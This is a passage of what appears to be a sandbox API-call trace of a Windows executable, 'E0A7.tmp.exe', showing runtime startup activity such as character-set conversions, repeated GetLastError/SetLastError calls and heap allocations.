xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x68\x9c\x08\x29\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0086.557] GetLastError () returned 0x0 [0086.557] SetLastError (dwErrCode=0x0) [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0086.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā") returned 256 [0086.557] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0086.557] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ繐⯤潛@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0086.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x68\x9c\x08\x29\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0086.558] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46d238, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.558] SetLastError (dwErrCode=0x0) [0086.558] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.559] SetLastError (dwErrCode=0x0) [0086.559] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.560] GetLastError () returned 0x0 [0086.560] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.561] SetLastError (dwErrCode=0x0) [0086.561] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.562] GetLastError () returned 0x0 [0086.562] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.563] SetLastError (dwErrCode=0x0) [0086.563] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.564] SetLastError (dwErrCode=0x0) [0086.564] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x0, Size=0x68) returned 0x1e61990 [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.565] SetLastError (dwErrCode=0x0) [0086.565] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.566] SetLastError (dwErrCode=0x0) [0086.566] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.567] SetLastError (dwErrCode=0x0) [0086.567] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.568] GetLastError () returned 0x0 [0086.568] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.569] SetLastError (dwErrCode=0x0) [0086.569] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.570] SetLastError (dwErrCode=0x0) [0086.570] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.571] GetLastError () returned 0x0 [0086.571] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] GetLastError () returned 0x0 [0086.572] SetLastError (dwErrCode=0x0) [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x98) returned 0x1e61a00 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1f) returned 0x1e61aa0 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x36) returned 0x1e61ac8 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x37) returned 0x1e61b08 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x3c) returned 0x1e61b48 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x31) returned 0x1e61b90 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x17) returned 0x1e61bd0 [0086.572] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x24) returned 0x1e61bf0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x14) returned 0x1e61c20 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0xd) returned 0x1e61c40 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x25) returned 0x1e61c58 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x39) returned 0x1e61c88 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x18) returned 0x1e61cd0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x17) returned 0x1e61cf0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0xe) returned 0x1e61d10 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x69) returned 0x1e61d28 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x3e) returned 0x1e61da0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1b) returned 0x1e61de8 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1d) returned 0x1e61e10 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x48) returned 0x1e61e38 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x12) returned 0x1e61e88 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x18) returned 0x1e61ea8 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1b) returned 0x1e61ec8 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x24) returned 0x1e61ef0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x29) returned 0x1e61f20 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1e) returned 0x1e61f58 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x41) returned 0x1e61f80 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x17) returned 0x1e61fd0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0xf) returned 0x1e61ff0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x16) returned 0x1e62008 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x2a) returned 0x1e62028 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x29) returned 0x1e62060 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x15) returned 0x1e62098 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x1e) returned 0x1e620b8 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x2a) returned 0x1e620e0 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x12) returned 0x1e62118 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x18) returned 0x1e62138 [0086.573] RtlAllocateHeap (HeapHandle=0x1e60000, Flags=0x8, Size=0x46) returned 0x1e62158 [0086.574] HeapFree (in: hHeap=0x1e60000, dwFlags=0x0, lpMem=0x1e611f8 | out: hHeap=0x1e60000) returned 1 [0086.574] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76c20000 